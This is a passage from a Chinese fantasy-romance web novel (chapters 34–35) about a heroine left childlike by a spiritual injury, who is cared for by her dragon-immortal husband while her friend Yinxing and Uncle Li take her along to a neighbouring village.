白蛇哥哥牵着姐姐的手站起身,温和向我打招呼:“你姐姐累了,不想出来玩了,我先送她回去。”
“这么快就累了啊?”我情绪低落地点头应允:“好吧,姐姐生病了,是该多休息。”
姐姐面色红润地被白蛇哥哥牵手带走了。
白蛇哥哥很快又回到了东院,这趟还给我带了个彩色风车。
我拿着风车趴在桌子上玩,白蛇哥哥跪回青蛇哥哥身边,担忧道:“鸾镜仙子的神智……不知什么时候才能清醒。”
“帝君,她不会永远也好不了了吧,都怪属下!”
神仙哥哥没事就喜欢摸我的头,看着我目光复杂道:“她精神受到了重创,元神也伤得不轻,一时半会,可能、不能清醒过来。”
“是本尊不好,本尊不该怀疑她、伤了她的心。”
“鸾镜仙子是靠九黎族香火供奉三百年才养好神魂的,她身体本就脆弱……
好在宋淑贞为了保住月阴村不被帝君迁怒,用九黎族圣物长生玉换帝君饶恕她们一命,有了长生玉,鸾镜仙子的三魂七魄才没有出任何差池。
宋淑贞倒是机灵,长生玉在她们手里没什么用处,但对鸾镜仙子来说,却是救命良药。用鸾镜仙子一条命,换九黎族及她们母女的性命,真是划算!”
“阿鸾魂体特殊,只有九黎族的灵气与圣物才能温养她,别的法宝对她一点用处都没有……但愿阿鸾能早日好起来,阿鸾,你这样,同不要本尊了……有什么区别。”
我回头好奇看他,听不懂他的话:“我没有不要你啊,神仙哥哥,长生玉又是什么东西?好吃吗?”
“不好吃……”他轻轻告诉我:“不可以随便乱吃东西,外面的东西都有毒。阿鸾,你只能吃本尊。”
我迷茫瞧他:“但是,我不吃人啊。”
他把我按进怀里,下颌倚在我的肩上,哀然道:“本尊、给你吃。”
虽然他身上很香,但我的确不吃人……我想尝尝那条小白蛇是什么味的。
拿来煲蛇汤一定很好喝!
我在他怀里老实待了会儿,突然听见院外有我妈的声音。
用力推开抱着我的男人,我欢喜朝外跑了去:“妈——”
被我晾在原地的青衣神仙眼角又湿了一回。
“她现在,只认自己的母亲与姐姐,不要本尊了……”
“帝君,鸾镜仙子、她现在神志不清,只认识自己的亲人,宋淑贞与宋花枝好歹是伴她长大的母亲与姐姐,她现在亲近这两人,也正常。”
“是啊帝君,你再和鸾镜仙子多接触接触,等她熟悉您了,也就亲近您了……”
我拽着妈的袖子问妈:“今晚我可以和你一起睡吗?妈好久没给我讲故事了。”
我妈顿了下,眼神深长的凝望着我,抬手欲要抚我脑袋——
但最终还是把我无情推开:“镜镜,你已经嫁人了,你应该和青龙仙待在一起!”
“嫁人是什么意思啊?”我追问母亲,母亲别过头,冷漠道:“嫁人就是、你不能和母亲一起睡,也不能再缠着母亲了。”
“那我、晚上去哪睡觉啊?”
“去东院,你姥姥原来住的屋里。”
“妈,我真的不能和你一起睡吗?”
我妈转身离开:“不能。”
我望着妈渐行渐远的背影……脑子里又开始混乱了。
我什么时候嫁的人?
嫁人了,为什么就连母亲……都没有了。
姐姐好像也不怎么喜欢和我一起玩。
这里,还是我的家么?
晚上。
李大叔拎了一条大肥鱼来东院看我,银杏伸出手指头在我眼前比划:“这是几?”
我如实回答:“一啊!”
银杏又手指头一弯,继续问:“这呢?”
我犹豫很久:“弯了的一?”
银杏重重叹息,拍拍脑门伤感道:“完了,镜镜的脑子是真坏了!一和九都分不清了!”
李大叔瞟了眼银杏,无奈道:“她只是暂时神志不清,不是这辈子都完了。”
银杏坐到我身边来,搂着我心疼抱怨:
“镜镜以前,也没有做过什么伤天害理的事啊,为什么老天爷要这么对她……
她从小就活在母亲的算计下,长大了,好不容易动心喜欢上一个人了,那个人却事事瞒着她,还不信任她。
原以为,那个人是救赎,有那个人保护镜镜了,镜镜就能苦去甘来,再也不用受任何人欺负了,没想到,那个人的出现反而会让镜镜受更严重的伤……
青龙仙,你赔我那么聪明的一个好姐妹!镜镜从前可是一天晚上能写三千字论文!现在好了,十个数都分不清了!”
神仙哥哥负手站在紫藤花架下,哑声后悔道:“本尊,不该把她一个人放在月阴村。”
“你现在说这些有什么用!三天啊,整整三天!我和爸进山找了你三天,连你留下的那两个纸人都感应不到你究竟在哪!镜镜的一身血都快流干了……
她没有气息了,你才回来!引魂灯点了九天,阴阳道也开了九天,镜镜为什么不肯还阳,你自己心里没数么?镜镜变成现在这样,你和你的手下得负全责!”
“李姑娘,你以为帝君如今心里就好受了么?帝君看着认不清人的鸾镜仙子,恨不能将自己的内丹掏给鸾镜仙子……
帝君自己也身受重伤,鸾镜仙子那一刀,差点要了他半条命,宋淑贞的灵符,也差些震碎了帝君的元神……
帝君他也没想到,只是闭关修炼了四天,鸾镜仙子就出了这种事……”
“呵,说得好听!恨不得掏内丹给镜镜……那他倒是掏啊!”银杏凶巴巴道。
李大叔喝了口白开水,“有排异反应,鸾镜和他,不是一路仙。他的内丹对鸾镜,毫无用处。”
银杏气到拍桌子:
“你俩还好意思搭话呢!要不是你俩,我可怜的镜镜……怎么会白受那么多罪!
你们就是仗着镜镜身边没有依靠,才肆意欺负镜镜……
穆叔叔要是还活着的话,知道你这么欺负他闺女,他肯定会找你们拼命!”
白蛇面色凝重:“此次,是我们误会了鸾镜仙子,只要仙子能好起来,让我们付出什么样的代价,都行。”
李大叔严肃询问:“你们可查到红蛇妖的下落了?这都一个星期了,我这边还是一点线索也没有。”
“她很聪明,这几天附近几个村子都没有听说有谁丢了魂,大抵是躲哪个洞里避风头去了。”
“上次帝君将她震成重伤,她的那缕分身应该也撑不了多久,我们这边在盯着了,只要她敢出来觅食,我们就让她魂飞魄散!”
我不自在地从银杏怀里挣扎出来,趁他们说话,悄悄挪到青衣银发的俊美神仙身后,扯了扯他的袖子。
把刚编好的一只草蝴蝶递给他:“青漓,你怎么不理我了,你是不是,还在生我的气?”
他接过草蝴蝶,眼底春寒乍暖:“阿鸾……”
我低头,精神恹恹:“青漓,我没有、背叛你……”
第34章 银杏的身世,和昆仑有关
他拿着草蝴蝶的手一颤,凝望我的青眸薄雾氤氲。
下一刻,猛地把我抱进怀里,悲伤追问:“阿鸾,你醒了?”
我、醒了?
什么醒了……我一直没睡啊。
脑子里空白了一瞬,再睁眼,我不适应地推开他,生气抱怨:“我的蛇呢?”
他愣了愣:“什么蛇?”
我蹙眉不高兴地谴责他:“你白天和我说的……晚上带我吃蛇肉!你骗我?”
他半晌才听明白我在说什么,目光躲闪地牵住我:“阿鸾,你乖些,再等等。”
我鼓腮朝他发脾气,闷闷不乐地哼了声,转头跑去找白蛇哥哥,翻他宽大的银白蛇纹袖摆:“白蛇哥哥,你的小白蛇呢?给我玩一会!”
白蛇哥哥尴尬往后躲,避开我的爪子:“鸾镜仙子……那蛇不能吃,那蛇有毒,你吃了会、会出事的!”
“那你把它放出来陪我玩!”
“仙子……那是危险物种,实在不行,你去玩你李叔带来那条大黑鱼,大黑鱼能吃!”
李大叔也温和朝我招手:“小鸾镜,过来,大叔这有鱼,比蛇好玩。”
我愤愤甩开白蛇哥哥的袖子:“小气!”不好意思地拒绝李大叔:“我不喜欢鱼……黏糊糊的。”
银杏见我太缠人,就凑过来牵我手,好言好语地哄道:
“镜镜你以前从来不玩蛇的,蛇咬人可疼了!镜镜,我带你去墙边玩泥巴好不好?你小时候不是最喜欢捏泥人了吗?”
银杏半哄半拽地带我远离李大叔他们,卖力地忽悠我:“蛇肉可难吃了,是苦的!晚上我爸给你们煲鱼汤啊。”
“镜镜,你别和那两条臭蛇一起玩,要不是他们打伤你,还给你下蛊,你怎么会被伤成这样!”
“蛇类,都是冷血动物!他们的心才捂不热!”
我陪银杏蹲在墙边,银杏塞给我一把铲子,一本正经地带我玩:“镜镜,来玩过家家啊!我们挖小锅,煮野菜!”
我喃喃重复:“挖小锅,煮野菜……为什么不能煲蛇汤?”
银杏抖了抖嘴角:“你是对煲蛇汤有什么执念吗?”
对上我坚定的目光,银杏无奈妥协:“行吧行吧,煲蛇汤,我等会儿看看有什么东西能代替蛇,让你煲一下。”
我实诚道:“可是、我有蛇啊。”
银杏:“啊?”
我默默掏出袖子里的小白蛇:“银杏你看,我有蛇!”
银杏的视线落在我手里揪着的小白蛇头上,一时沉默住。
不久,紫藤花架下传来白蛇的惊叫声:“我蛇呢?!”
“鸾镜仙子!你什么时候又把小蛇王顺走了!”
银杏说得对,蛇类都是大坏蛋。
刚到我手里的小白蛇又被他们抢回去了。
蛇的心眼真小!
银杏挖好坑,拽了把草叶子扔进去,尽职尽责地忽悠我:“看我做的野菜汤,镜镜,张嘴,啊——”
我扔下小铲子,带着情绪拒绝道:“这是草和泥巴!我又不是三岁小孩子,不玩了!”
银杏怔住,满眼迷茫:“啊?”
晃了晃脑袋,皱眉自言自语:“镜镜、不是傻了吗?怎么总觉得,哪里不太对呢?”
站起身追上我:“哎镜镜,我带你去荡秋千啊!”
她才傻了呢,我脑子好着呢……
还好,荡秋千不像过家家那样没意思——
青蛇站在不远处的灯影下,不放心地问银发神仙:“帝君,你晚上,真能降得住她?属下怎么觉得,鸾镜仙子和别的痴傻女孩,不太一样?”
李大叔双手背后提示他:“你是不是想说,小鸾镜,像疯了?”
青蛇:“对!就是这种感觉!”
李大叔翻了个白眼:“这不是废话么,被蛇妖重创神识,她现在还能保下一条小命,正常与你们交流,已是不幸中的万幸了!”
青蛇噎住,没再说话。
银发青衣的神仙哥哥沉声问:“李银杏、又是怎么回事?她到底什么来路?”
李大叔淡淡道:
“这些年,我也在尝试弄清她的真实身份,但,暂时还不能确定。这孩子是弃婴,当年我在路边捡到她时,她头上还有一道赤红印记,像片血色银杏叶。
她的襁褓里,绽着金光,手臂上也有一处特殊印记,像是、神族的标记。
后来,我查阅多本古籍,试图找到有关那个标记的记载。
结果,前两年我趁淑贞不在,偷偷溜进宋家的祖祠,在宋家祠堂摆放的九黎族古籍里,误打误撞发现了一丝线索……”
青衣神仙追问:“上面是如何记载的?”
李大叔目光深长地凝重道:“上面说,那个标记,出自西昆仑。”
“西昆仑神宫?”
“西昆仑,乃是西王母的管辖之地,西王母掌长生,座下有三千天女侍奉,银杏手臂上的那个标记,就是天女身份的象征。”
“西昆仑的天女,怎会出现在凡界,转生成凡童。”
“也许是身负使命才轮回入世,也许是犯了错被贬下了人间。总之,不管是哪种原因,银杏都是我闺女,我不会让人欺负她,更不允许别人伤害她。”
“银杏……自幼就喜欢和阿鸾一起玩?”
“说来这两个孩子也是有缘分,银杏打小就性子倔,总和村里的孩子们玩不到一块去,隔三岔五就与同龄孩子打起来。
可偏偏和小鸾镜最投缘,整天就喜欢粘着小鸾镜,带小鸾镜满村乱跑,翻墙爬树偷鸡摸狗无恶不作……
呵,久而久之,我就把小鸾镜也当成我半个闺女了。”
西昆仑,天女……
我听着这些熟悉的字眼,昂头望着黑漆漆的夜空——
眼前,不禁浮现出诸天星斗,祥云皓皓,琼楼玉宇层叠错落而建的画面——
凤凰盘旋飞上神宫之巅,三千天女身披彩衣浩浩汤汤驾云下神宫……
神使撞响天钟,浑厚回音瞬间响彻浩瀚九天——
大天女御风落回我身侧,忧心忡忡:
“昆仑基业数十万载,有娘娘坐镇神宫,方保昆仑安稳至今,不受外界纷争侵扰,然,娘娘突然要入世……神宫无主,昆仑恐生变故。”
还有老神仙的声音悠悠回荡耳畔:
“上古时期的那些老神,个个都已入世感受过人间疾苦,尝遍酸甜苦辣,方懂苍生艰难。
连龙蛇二祖都要回来了,娘娘您不如趁此良机,也下凡间走一走……
也好顺便,将您积压万载的神劫给抵消了。
如今的凡界,贪嗔之气甚重,娘娘入世,若能感化众生,更是大功德一件。
只是,娘娘仅有三百五十年的时间,三百五十年后娘娘若不能及时返回神宫……
恐是性命有虞!”
“你这一世,活了二百九十三载,若我没记错,你当年定下的是三百年之期,可,你怎么隔了整整三百年才来冥界报到……
你已经在凡尘耽搁了五百九十三年了,魂魄既已修复完整,那就回去吧!”
“这三百载,我在凡间的月阴村,亲眼见到凡人为追求长生,而丧失人性,男人抛妻弃子,女人易子而食。
每年前去向我许愿的村民,不是祈求不劳而获万贯家财,就是索要长生不老,无病无灾。
九黎族,已经变了模样……”
“你难不成,还想渡化他们?贪婪,是人藏在骨子里的疾病,就像癌症,每个人生来体内都携着可能会异变成癌症的异常细胞,只是有的人一辈子不会异变,有的人,偏偏逢上某个节点,突然异变成癌……而得了这种病,没有解药,只能等死。”
“我,还是想再去人间走一遭,端坐神位,远离凡尘,怎知苍生的病灶在何处。”
“你执意要再入世,也好。左右凡尘,还有个痴心人在等你回去……”
凡尘等我的痴心人,是、青漓吗?
对,是他……
我坐在秋千上无聊地摇晃,脑子时而清醒,时而糊涂——
有人伸手,轻抬起我的下颌。
我怔怔昂起眸光,与他四目相对,看清他容颜的那一刻,心底陡然一酸:“青、漓……你回来了……”
“阿鸾……”他眼底悲色顿时凝聚成大片潮湿,克制不住地将我猛地抱进怀里,用力按住……
一遍又一遍地在我耳畔哽咽轻唤:“阿鸾,回来吧,快些好起来,阿鸾,青漓知道错了。”
我的指尖穿梭进他一头皓皓华发,温柔从从发根,梳至发尾。
“青、漓。你是不是、不要我了……”
“没有不要阿鸾,阿鸾别怕,我在。”
“可我、好像找不到你了……”
“阿鸾,我一直在你身边。”
“我没有……背叛你。我、信你……”
心脏处骤然一阵剧痛,我伏在他肩上没憋住,抵上嗓门的热流猛喷而出……殷红鲜血溅湿他肩头——
“阿鸾,阿鸾!”
他抱住我的身体,着急呼唤我的名字,企图让我保持清醒……
可我,好累。
心脏好疼,脑子也好疼……
两眼一闭,我就体力不支地靠在他怀里昏死了过去——
“阿鸾……本尊、真的错了。”
——
一觉醒来,我看着陌生的环境,想了半晌,脑子才反应迟钝地想起来这不是我的小屋,是姥姥从前住过的东院!
扭头看了眼窗外明媚的阳光,我蜷起双腿考虑了半晌,还是决定、出去玩——
我不要被关在家里,我要出去找银杏。
不想和青蛇白蛇一起玩,他们小心眼!
也不想和神仙哥哥一起玩……他总是不许我见这个,不许我找那个。
这里明明是我家!
说干就干,我穿好衣服摸出门,趴在堂屋门框上偷偷往外看。
青蛇满身是伤地跪在院子里,低垂着脑袋昏昏欲睡。
白蛇在厨房里忙前忙后做早饭。
至于神仙哥哥……可能出门了,没瞧见他。
白蛇哥哥将一碗米粥端出来,放在紫藤花架下的石桌上。
吹了吹烫红的指尖,与青蛇道:“过一会鸾镜仙子应该就要起床了,你别跪了……她现在情绪敏感,你这一身血,别吓着她。”
青蛇闻言,咬牙忍痛踉跄站起身,低声自责道:“都是我咎由自取,帝君罚的,还是太轻了。”
白蛇面色凝重地拍拍青蛇肩膀:
“你只是打伤了鸾镜仙子,我才是害仙子心脉受损的元凶……仙子现在变成这样,帝君照顾仙子分身乏术,这才暂且放过你我。仇惑,我们犯下这等滔天过错,帝君没有杀了我们,已是仁慈。”
“我知道……是我太冲动,才会误导连累你。”
“咱们现在能做的,就是尽量帮帝君照顾仙子……仙子早一日清醒过来,你我身上的罪孽,也可早一日减轻几分。”
“嗯。”
他们,在说什么?
鸾镜仙子……是说我吗?
白蛇哥哥扶青蛇进了厨房,我则趁机、悄悄溜出了堂屋——
不能直接从前门走,会被妈和姐姐发现的。
要想悄无声息地离开家,只能翻墙了!
我绕到屋后,找到一段好翻的墙头,伸手抓住下凹的墙体,踩着墙面凸出的两块烂泥砖,艰难往上努力攀爬……
双脚成功离地,踩上墙面泥砖,我探出胳膊,一把搂住墙头,靠手臂力量将身体带上去。
废了九牛二虎之力才终于成功爬上去。
只是……高兴得太早了,翻墙容易下墙难,我调整方向,刚伸出一条腿往下探,脚底好不容易踩上一块结实的地方——
下一秒,我就脚底一滑,整个人都从两米多高的泥墙上摔了下去。
屁股都要被摔成两瓣了!
我摔进墙下草丛,吃痛地揉了揉受伤的屁股与酸痛的老腰,不敢在原地多耽搁,艰难站起身,扶腰一瘸一拐往银杏家的方向快步赶去……
幸好我翻出来得早,一路上并没有遇到熟人。
只不过,我的脑子的确不大好……我家离银杏家只有三里路,而这短短三里路的距离,我脑子竟然卡壳了……四次!
好在,后来我还是成功见到了银杏与李大叔。
但我赶得不巧,他们俩好像、要出门。
李大叔将家里堂屋的两扇木门合上,挂了大铁锁,把烟杆别在腰后,边掏钥匙锁门,边与银杏叮嘱:
“他们家要生孩子,你一个没出嫁的小姑娘,就别往孕妇的产房里闯了,那家媳妇的肚子有古怪,产房里万一有煞,我们这群大老爷们倒是无事,能扛得住,你这种没结婚的大闺女要是被冲撞到了,会影响你的红鸾运。”
银杏打着哈欠乖乖点头:“知道了爸,你都已经说三遍了!爸,咱们今天出门去榴花村看事,要不要和龙仙老爷还有镜镜打声招呼?万一镜镜又想找我玩,我不在家,他们俩过来,岂不是要跑空了?”
李大叔用了可大的劲才锁好上了绣的大铁门锁,重新将拴着红绳的钥匙放回裤兜里,
“你以为龙仙是咱们普通人吗?他可以未卜先知。小鸾镜傻,他又不傻。
你放心,他不会跑空,就算镜镜着急找你,他也顶多是让自己的手下过来跑一趟……
小鸾镜这个情况,目前来看还很复杂,一时半会怕是清醒不了。
你啊,和她一起玩的时候千万要当心,她现在浑浑噩噩的,时而清醒时而痴傻,万一在咱们身边出什么事,龙仙非得把咱爷俩给灭口了。
况且事是龙仙自己惹出来的,小鸾镜这一劫,完全是龙仙对她的不信任造成的,后果,自然也要龙仙自己承担。
你可别傻傻地主动去帮忙照顾鸾镜,爸知道你心疼鸾镜,但你越照顾,就等同于给龙仙减轻负担了,咱们关心小鸾镜可以用别的方式!
这一回,就让小鸾镜给龙仙涨涨记性!”
银杏恍然大悟:“哦——老爹你原来打的是这个主意!”
我也恍然大悟:“哦——李大叔你原来是这么计划的!”
李大叔手往灰布外套上擦了擦:
“以前爸看事都不带你,这回带走你,就是想让龙仙急一急。
你没发现么,现在小鸾镜压根不亲近她,小鸾镜宁肯追着她母亲与姐姐跑,也不愿被他禁锢在身边……
哎,报应啊,辜负真心的人,迟早会失去真心。
龙仙现在只能在小鸾镜闹腾的时候向你求助,而我,就是要斩断他这唯一一条后路!”
银杏义愤填膺:
“爸你说得对!就该让龙仙被镜镜狠狠折磨一顿!镜镜当初那样相信他,他却轻易就信了月阴村与陈家湾村那些人的鬼话!还纵容自己的手下打伤镜镜,给镜镜喂那什么玩意灵蛊……
镜镜出事了他才晓得后悔,实在太让人生气失望了!他伤了镜镜的心,也该让镜镜伤他一回!”
我听着她们的话,脑子里乱糟糟的。
龙仙是神仙哥哥,龙仙的手下是青蛇哥哥和白蛇哥哥吗?
他们什么时候打伤我了?
李大叔从腰后抽回烟杆:“走吧,咱们赶早离开,免得被龙仙他们发现!”
银杏重重点头,但,一转身,却被站在她身后的我吓得后跳一大步——
“啊——我去,镜镜!你什么时候来的?!”
李大叔也被突然出现的我给惊得立马捂眼别过头:“哎呦老天爷……错觉,都是我的错觉!”
我乖乖走过去,搂住银杏的胳膊疯狂冲她撒娇:“杏子,陪我玩!我好无聊啊,你们要去哪,带上我啊!”
银杏僵住身体,唇角抽搐,一脸生无可恋地着急问我:“镜镜,你怎么突然过来找我了?你家那位龙仙呢?他没跟你一起出来吗?!”
我摇摇头:“没有,我不喜欢和他一起玩,他总是动不动就抱我,勒得我好难受……我出门的时候,没和他打招呼。”
李大叔紧张询问:“那你是怎么、避开他们的视线跑出来的?”
我弱弱摊开受了伤的手掌:“翻墙啊……他们不让我出来玩,我没法从正门走,就从后院墙头翻了出来。杏子,我手疼。”
银杏瞧见我掌心的那滩殷红血迹,立马拉我到井边坐下,心疼不已地从小挎包里掏出纱布与创伤药,小心翼翼地帮我清理伤口,上药包扎。
“镜镜你怎么能翻墙呢!你知不知道翻墙很危险,万一摔伤到骨头,你得疼好几个月!而且,你本来脑子就受了重创,如果不小心又磕到了头……可是真会变成小傻子的!”
我委屈努嘴:“我就是想来找你玩!家里的人……都好陌生。神仙哥哥虽然很温柔,但他总是管着我,什么都不让我做。还有妈和姐姐,她们好像,突然不喜欢我了。”
银杏给我包扎伤口的手一顿,抬头,满眼不可思议地问我:
“你……现在还能感受到、你妈妈和姐姐不喜欢你?你不是傻了吗?傻姑娘,怎么能发现,别人不喜欢她……你的感知能力,也太强大了吧!”
我认真点头:
“我是脑子不太好,但我不是三岁小孩子。妈,她不想要我,昨天我找她,想和她一起睡,可妈说我嫁人了,嫁人就不能和妈住在一起了……
妈骗人,昨天下午,我明明听见姐姐和妈说,她晚上要陪妈一起睡,她害怕,妈答应了。
我问过白蛇哥哥嫁人是什么意思,白蛇哥哥说,就是女孩和男孩在一起,可以亲亲抱抱的意思……
姐姐也和别的男人亲亲抱抱过,我都看见了!所以,姐姐也嫁人了,但姐姐还可以和妈一起睡。
妈还给姐姐梳头发,我的头发都是神仙哥哥帮我梳的。
姐姐也不喜欢我,我找姐姐玩,姐姐总是冲我翻白眼。我找你玩的时候,你就不会那样瞪我……
杏子,是不是因为我脑子不好,所以妈和姐姐都嫌弃我?”
“呸呸呸!她们不喜欢你,是她们自己的问题,和你没有一丁点关系!”
银杏气鼓鼓地叮嘱我:
“镜镜,你要记住,你妈妈不喜欢你,是因为她偏心!因为你姐姐最像她!你姐姐不喜欢你,是因为你姐姐就是个爱抢人东西的恶毒女人!
你姐姐嫉妒你是骨仙转世,嫉妒你被龙仙选中,更嫉妒你长得比她漂亮!”
我不是很明白:“骨仙转世、又是什么?”
银杏张嘴要回答我,却被李大叔沉声阻止:“好了杏子,她现在什么都不懂,你别和她说太多,她的脑容量存储不了这么多复杂信息。”
银杏不甘心地低头咕哝:
“本来就是嘛,她姐姐就是个小偷强盗!偷走镜镜的身份至今还不肯还回来,还有她母亲,明明早就知道镜镜才是真正的骨仙转世……”
“杏子!”
李大叔语重心长地解释道:
“镜镜的身份过于特殊,她现在的体质还很弱,一旦暴露她就是骨仙转世,你可知,九黎山一带会有多少个妖孽冒出来,觊觎她的元神?”
银杏哽住:“哦,那、镜镜现在怎么办?她都已经找来了,我们总不能,再把她送回去吧?而且,我也实在放心不下镜镜,镜镜没有我,她会着急难受的……”
这句话我听懂了,我立马配合地抱住银杏,搂紧她坚决不撒手,可怜兮兮地祈求李大叔:“我要和杏子在一起,我不要回去,你如果把我送回去,我就再翻出来!”
李大叔闻言皱紧眉头,深深看了我一眼,无奈叹气,大手一挥道:“算了,一起去榴花村吧!这个小尾巴,看来是甩不掉了。”
第35章 阿鸾不是阴阳眼,是神眼
银杏着急道:“啊?那龙仙怎么办?”
李大叔双手背后心累道:“能怎么办?不管他了!他能感应到镜镜的气息,找不到镜镜自然会跟过来!”
“可是,咱们私自把镜镜带出月阴村,龙仙追过来,不会杀咱爷俩灭口吧?”
“他敢!别忘了,镜镜现在可是咱俩的护身符,他敢当着镜镜面灭咱俩口,镜镜这辈子都不会原谅他。”
“也对哦。”银杏恍然,点了点头,随即热络地牵住我手,开心与我道:“镜镜走啊!我们去榴花村看人生孩子!”
“生孩子?”我迷茫追问:“怎么生?我还没见过别人生孩子呢……”
银杏为难皱眉:“初中生物,你忘记了?”
我愣了下:“啥是生物?”
银杏:“……”
牵住我的手跟上李大叔:“爸啊!镜镜这情况,到底什么时候才能稍微好一丢丢啊!她连上学学的基础知识都忘记了!长此以往,不成文盲了嘛!”
李大叔郁闷抽了口大烟:“她都快弱智了,你还担心她会不会成文盲?我看你也挺像文盲!”
银杏委屈鼓了鼓腮帮子:“我这不是关心镜镜嘛……爸,你说镜镜的脑子,还能不能好起来?”
李大叔不耐烦道:
“这个问题你已经问我八百遍了!她只是暂时神识受创,你忘记了么,她是骨仙,上辈子就是仙人!
仙人是可以集天地日月之精华,慢慢修复元神与魂魄的!不过是时间长短之区别罢了。”
“还能恢复就好,不然,好好一个镜镜突然变得什么都不懂,我有点不适应。”
“以后不适应的时候多着呢!”
李大叔带上银杏,银杏牵住我,走到前往榴花村的岔路口时,突然顿住脚步。
银杏不解地四处张望:“怎么了?”
李大叔往路边石墩上敲了敲烟杆:“龙仙来了。”
龙仙……我反应慢半拍地昂头,“神仙哥哥,在哪呢?”
阴风从背后袭来,吹得我汗毛直竖,而这种脊背发麻的感觉——好熟悉!
“阿鸾。”
腰身陡然被一双强有力的手臂收住,他从后抱住我,薄唇暧昧地附于我耳边,压抑低吟,不忍责备:“你又不听话……”
我委屈撇嘴,试图撒娇了事:“哥哥——我想出去玩!我想和银杏还有李大叔一起去看人生孩子!”
他收紧我的腰身,拿我没办法地轻叹:“你还是个年轻姑娘呢,怎么对这种事感兴趣。”
我低声抱怨:“在家里好闷啊,姐姐不理我,白蛇哥哥小气鬼,青蛇哥哥总是拉我玩捉迷藏,我不喜欢捉迷藏!”
“也不喜欢和本尊一起玩么?”他失落询问。
我耍赖哼唧两声:“你总是把我抱在怀里,也不许我下地,我、还是想和杏子一起玩……”
“你以前,明明、最喜欢本尊。”他的声音越来越低。
听得人心头酸酸的……
我乖乖转身,主动环住他的腰,踮起脚尖,想用下巴碰他肩膀。
奈何——他长得太高了。
我绷直脚背也只能勉强将下巴倚在他肩头……
但这个姿势,我根本站不稳重心,坚持不了多久就脚跟落地,又矮下来了。
他察觉到我的小心思,立马弯腰配合我,允许我趴上他的肩。
“现在也很喜欢你啊,神仙哥哥……”我认真安慰他。
他的大手按在我背上,怜惜抱紧我,将头埋在我的脖窝里,哑声道:“还喜欢,就好。阿鸾,本尊的阿鸾……听话,你应该唤本尊,阿漓。”
我顺从点头:“嗯,阿漓!”
他闻言,沉闷语气稍稍轻松些:“真乖。”
我趴在他怀里征求他的意见:“那我现在,可以和银杏一起出去玩了吗?”
他沉默片刻,温声答应:“好,不过阿鸾,你得带上本尊,不然本尊不放心。”
我想也没想就点头:“好呀,那我和阿漓,还有银杏李大叔,我们一起去榴花村玩!”
他缓了缓:“嗯。”
听他终于松口同意,我欢喜地从他怀里出来,继续牵着银杏往前跑:“走啊杏子,前面有金银花,我们去采花!”
银杏还没从青漓答应让我出来玩的震惊中清醒过来,被我拽的脚步有些跟不上,“镜镜你慢点……慢点,我要喘不上气了……”
李大叔吸了口浓烟,和青漓结伴而行:“你关不住她的,除非像淑贞那样,也在东院下一道天罗地网,不过,我怕那样你会憋疯她。”
“她的神识时而清醒,时而混沌,本尊关她,也是怕宋淑贞母女俩再对她下手。阿鸾现在,对宋花枝母女毫无防备。”
“不是已经签订合作协议了么?他们九黎族承诺再也不伤害鸾镜,且将本族至宝长生玉送给鸾镜回魂续命,你则继续做月阴村的守护神,保月阴村安宁,不受九黎山一带的妖物骚扰。
鸾镜在一日,你就护着九黎族一日。淑贞之前好不容易利用花枝和灰狐仙达成了共识,现在你回来了,她们除不掉你,就只能故技重施。
何况,用鸾镜绑住你,可比用花枝绑住灰狐仙靠谱得多。”
“九黎族的人,你也敢信?这群贪得无厌的脏东西,若非阿鸾需要长生玉,本尊定一个不留!”
“我劝龙仙,还是少动杀念……就当是为了鸾镜,鸾镜再怎么说,也是九黎族的后代。月阴村的那些人,是她的同族,淑贞和花枝是她的血亲。
即便鸾镜现在对她们彻底失望,亲眼看着血亲与同族死在自己面前,她也接受不了。你应该最懂她,清楚她并不希望看见你杀人。”
“本尊应该如何做,还轮不到你来教本尊!”
过了一阵,青漓突然又问:“你是玄门中人?师承何方道观?”
李大叔吐了卷白雾:“在下的师门落魄,区区无名小观,不值一提。”
路上,银杏给我编了个好看的金银花花环,我把花环戴在头上,开心跑到青漓跟前问他:“我戴着,漂亮吗?”
“漂亮。”他帮我扶正脑袋上的花环,看我的眼神和煦似三月春光。
我满意地冲他笑笑,“我让银杏再给你编一个!你等我!”
“阿鸾……”他无奈唤我,却没叫住我。
我缠着银杏再给青漓编一个花环,银杏满脸写着不情愿,拿着几根金银花藤干笑笑:“给他编?他一个大男人要什么花环啊!娘们唧唧的!”
我抓着银杏胳膊乱晃:“编一个嘛,银杏你最好了!”
银杏被我磨烦了,只能认命:“行行行,我给你编!我编好他不戴,可就不是我的问题啦。”
我听话点头:“嗯!”
只可惜,银杏编花环也太慢了,我们都走到榴花村了,她手里的花环还没编成型。
榴花村接应的人早就候在村口等着李大叔了,远远看见我们一行人出现,激动冲我们招手:“李哥!小银杏!在这!”
我手里拿着金银花藤,扭头想和青漓说话来着,但,刚才还跟在我们身后的青漓突然消失不见了。
我环顾四周都没找到青漓的身影,焦急拉着银杏的手问:“阿漓呢?我的、阿漓呢?”
银杏啊了声,扭头四处张望,也没找到青漓的踪迹:“可能是又隐身了吧。”
“隐身?”不晓得为什么,突然看不见他,我心里好慌,慌到、想哭:“阿漓,他又把我扔下了吗……银杏,我要去找他!”
银杏赶紧拉住我胳膊:“乖啊镜镜,你别乱跑,这是在别人的村子里,榴花村我不熟,你跑没了我不知道去哪抓你……”
而就在我六神无主,心魂不安时,一只微凉但很有安全感的大手温柔握住了我的手——
我木讷扭头,发现他又出现了!
“阿漓……”我委屈地模糊了眼角。
他深情凝视着我,另一只大手捧起我的容颜,亲昵吻去我眼尾泪水……
灼热吐息扫得我眉梢痒痒的。
“不怕,阿鸾。”他揉揉我的脑袋安抚我不安情绪,青眸深处攒出几丝温暖笑意,柔和与我说:“本尊和阿鸾玩个游戏可好?”
“什么游戏?”我轻轻问。
他手指摩挲我的脸颊,软声哄着我:
“我们就玩,你能看见我,别人看不见我的游戏。阿鸾要谨记游戏规则,现在,只有你能看见本尊,阿鸾不能让任何人发现本尊的存在,不然阿鸾就输了。”
“不能让任何人发现你的存在……他们,也看不见你?”
他颔首:“嗯。”
我想了想:“那我是不是,也不能当着别人的面,和你说话?”
他弯唇:“是。”
我忙一把捂住嘴,乖乖冲他点头:“嗯!”
这个游戏,好像也不难。
银杏似乎听见了我们的对话,皱着眉,一脸嫌弃地盯着我、和旁边的空气。
我一本正经地捂嘴摇头,说话声咬字不清道:“我什么都没说,什么都没看见!”
银杏呵呵干笑,别过头偷偷翻白眼:“龙仙老爷你真会玩……都快把镜镜忽悠瘸了!”
我很遵守游戏规则地站在阿漓身边,连眼角余光都不敢分给阿漓……只悄悄往阿漓手边挤了挤,无声勾紧阿漓的指尖。
